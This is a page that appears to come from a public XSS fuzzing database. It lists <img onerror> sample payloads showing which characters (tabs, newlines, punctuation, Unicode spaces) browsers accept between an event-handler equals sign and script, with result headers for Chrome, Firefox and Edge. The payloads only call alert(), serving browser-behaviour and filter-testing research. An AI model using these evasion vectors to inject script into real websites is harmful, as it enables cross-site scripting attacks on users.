Characters allowed after equals sign for event
This vector shows what characters can be used after equals sign for attributes
Created byYouGina
Created Dec 17, 2024
Updated May 27, 2025
Detecting browser...
CategoryDOM Behavior
VisibilityPublic
TypeXSS
CharsetUTF-8
Template used:
<img src=x onerror=$[chr]log($[i])>Sample payloads
<img src=x onerror=0x09alert(9)><img src=x onerror=
alert(10)><img src=x onerror=0x0Balert(11)><img src=x onerror=0x0Calert(12)><img src=x onerror=0x0Dalert(13)><img src=x onerror= alert(32)><img src=x onerror=!alert(33)><img src=x onerror=+alert(43)><img src=x onerror=-alert(45)><img src=x onerror=;alert(59)><img src=x onerror=~alert(126)><img src=x onerror= alert(160)><img src=x onerror= alert(5760)><img src=x onerror= alert(8192)><img src=x onerror= alert(8193)><img src=x onerror= alert(8194)><img src=x onerror= alert(8195)><img src=x onerror= alert(8196)><img src=x onerror= alert(8197)><img src=x onerror= alert(8198)>Fuzz results
Chrome 145.0.0.0 desktop macOS 10.15.7
Updated17 Feb 2026
Found 30 results
Loading...
Chrome 144.0.0.0 desktop Windows NT 10.0older version
Updated17 Feb 2026
Found 30 results
Loading...
Firefox 148.0 desktop Windows NT 10.0
Updated23 Feb 2026
Found 30 results
Loading...
Firefox 147.0 desktop Linux Unknownolder version
Updated10 Feb 2026
Found 30 results
Loading...
Firefox 147.0 desktop Linuxolder version
Updated1 Feb 2026
Found 30 results
Loading...
Microsoft Edge 145.0.0.0 desktop Windows NT 10.0
Updated18 Feb 2026
Found 30 results
Loading...